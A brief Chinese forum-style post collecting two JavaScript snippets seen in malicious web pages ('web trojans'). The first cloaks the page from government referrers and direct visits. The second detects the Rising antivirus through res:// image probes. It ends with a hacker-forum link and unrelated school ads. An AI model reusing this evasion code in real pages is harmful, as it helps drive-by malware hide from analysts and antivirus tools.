網(wǎng)馬的靜態(tài)對(duì)抗技術(shù)代碼

余弦函數(shù)

    1、前段時(shí)間看到的:

    <script>

    var parent_url = window.parent.location.href.toLowerCase();

    var where = document.referrer.toLowerCase();

    var self_url = document.location.href.toLowerCase();

    if(where.indexOf("gov")>=0 || self_url  == parent_url || where == "")

    {

    location.replace("about:blank");

    }

    </script>

    2、剛剛不小心看到的:

    function jc()

    {

    jc_list = ['res://C:\\Program%20Files\\Rising\\Rav\ ssafety.exe/PNG/123','res://D:\\Program%20Files\\Rising\\Rav\ ssafety.exe/PNG/123','res://E:\\Program%20Files\\Rising\\Rav\ ssafety.exe/PNG/123'];

    for ( i= 0; i<jc_list.length; i++)

    {

    ischeck = 1;

    x = new Image();

    x.onerror = function()

    {

    ischeck = 0;

    }

    x.src = jc_list[i];

    if (ischeck == 1)

    return 1;

    delete x;

    }

    return 0;

    }

    more: http://www.hxhack.com/bbs/read.php?tid-213074-keyword-%CD%F8%C2%ED%E2%AB%D9%F4%BC%BC%C7%C9.html

北大青鳥(niǎo)網(wǎng)上報(bào)名
北大青鳥(niǎo)招生簡(jiǎn)章